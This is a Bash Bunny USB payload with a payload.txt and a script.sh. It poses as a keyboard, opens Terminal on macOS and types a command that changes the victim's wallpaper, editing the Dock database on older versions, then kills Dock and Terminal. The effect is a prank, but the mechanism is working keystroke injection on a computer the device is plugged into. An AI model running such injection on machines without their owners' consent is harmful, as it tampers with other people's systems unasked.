BashBunny - OSX Wallpaper Change (Mojave & Sierra)

payload.txt

LED SETUP

DRIVER_LABEL='BashBunny'
GET SWITCH_POSITION

MAC_HAPPY ATTACKMODE HID STORAGE

LED ATTACK

Q DELAY 1000
RUN OSX Terminal
Q DELAY 3000

# Type
Q STRING bash "/Volumes/${DRIVER_LABEL}/payloads/${SWITCH_POSITION}/script.sh" "${DRIVER_LABEL}" "${SWITCH_POSITION}"
Q DELAY 100
Q ENTER
Q DELAY 1000

LED FINISH

script.sh

#!/usr/bin/env bash

version=$(defaults read loginwindow SystemVersionStampAsString)

# Mojave
if [[ $version == "10.14"* ]]; then
    # Unfortunately, the app privacy dialogue will pop up
    osascript -e 'tell application "Finder" to set desktop picture to POSIX file "/Volumes/'${1}'/payloads/'${2}'/wallpaper.jpg"'

# High Sierra
else
    sqlite3 ~/Library/Application\ Support/Dock/desktoppicture.db "update data set value = '/Volumes/$1/payloads/$2/wallpaper.jpg'";
    killall Dock;
fi

killall Terminal;